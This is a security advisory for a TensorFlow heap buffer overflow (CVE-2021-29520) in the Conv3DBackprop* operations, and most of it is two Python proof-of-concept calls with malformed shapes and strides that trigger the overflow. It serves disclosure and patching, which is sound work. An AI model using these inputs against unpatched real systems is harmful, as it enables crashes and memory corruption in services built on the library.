CVE-2021-29520: Heap buffer overflow in `Conv3DBackprop*`

May 21, 2021 (updated October 30, 2024)

Missing validation between arguments to tf.raw_ops.Conv3DBackprop* operations can result in heap buffer overflows:

import tensorflow as tf

input_sizes = tf.constant([1, 1, 1, 1, 2], shape=[5], dtype=tf.int32)
filter_tensor = tf.constant([734.6274508233133, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0,
-10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0,
-10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0], shape=[4, 1, 6, 1, 1], dtype=tf.float32)
out_backprop = tf.constant([-10.0], shape=[1, 1, 1, 1, 1], dtype=tf.float32)

tf.raw_ops.Conv3DBackpropInputV2(input_sizes=input_sizes, filter=filter_tensor, out_backprop=out_backprop, strides=[1, 89, 29, 89, 1], padding='SAME', data_format='NDHWC', dilations=[1, 1, 1, 1, 1])
import tensorflow as tf

input_values = [-10.0] * (7 * 7 * 7 * 7 * 7)
input_values[0] = 429.6491056791816
input_sizes = tf.constant(input_values, shape=[7, 7, 7, 7, 7], dtype=tf.float32)
filter_tensor = tf.constant([7, 7, 7, 1, 1], shape=[5], dtype=tf.int32)
out_backprop = tf.constant([-10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0], shape=[7, 1, 1, 1, 1], dtype=tf.float32)

tf.raw_ops.Conv3DBackpropFilterV2(input=input_sizes, filter_sizes=filter_tensor, out_backprop=out_backprop, strides=[1, 37, 65, 93, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1, 1, 1])
